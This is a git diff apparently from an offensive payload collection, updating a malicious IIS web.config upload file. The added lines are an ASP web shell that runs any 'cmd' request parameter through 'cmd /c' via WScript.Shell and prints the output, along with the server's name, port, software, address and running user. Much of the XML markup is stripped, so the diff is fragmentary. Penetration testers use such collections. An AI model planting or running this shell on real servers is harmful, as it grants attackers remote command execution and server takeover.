diff --git a/Upload Insecure Files/Configuration IIS web.config/web.config b/Upload Insecure Files/Configuration IIS web.config/web.config index c14f37e..6e02a37 100644 --- a/Upload Insecure Files/Configuration IIS web.config/web.config +++ b/Upload Insecure Files/Configuration IIS web.config/web.config @@ -1,8 +1,8 @@ - + - + @@ -15,20 +15,51 @@ - - -") -Response.write("

-
")

-

Set wShell1 = CreateObject("WScript.Shell") -Set cmd1 = wShell1.Exec("whoami") -output1 = cmd1.StdOut.Readall() -set cmd1 = nothing: Set wShell1 = nothing

-

Response.write(output1) -Response.write("

-

-–> + \ No newline at end of file +Function getCommandOutput(theCommand) + Dim objShell, objCmdExec + Set objShell = CreateObject("WScript.Shell") + Set objCmdExec = objshell.exec(thecommand) + + getCommandOutput = objCmdExec.StdOut.ReadAll +end Function +%> + + +

+ + +
+ +
+<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
+<%Response.Write(Request.ServerVariables("server_name"))%>
+

+The server's port: +<%Response.Write(Request.ServerVariables("server_port"))%> +

+

+The server's software: +<%Response.Write(Request.ServerVariables("server_software"))%> +

+

+The server's software: +<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%> +<% szCMD = request("cmd") +thisDir = getCommandOutput("cmd /c" & szCMD) +Response.Write(thisDir)%> +

+
+ + + + +<%Response.write(" +--> diff --git a/Upload Insecure Files/Configuration IIS web.config/web.web.config b/Upload Insecure Files/Configuration IIS web.config/web.web.config deleted file mode 100644 index 6e02a37..0000000 --- a/Upload Insecure Files/Configuration IIS web.config/web.web.config +++ /dev/null @@ -1,65 +0,0 @@ - - - - - - - - - - - - - - - - - - -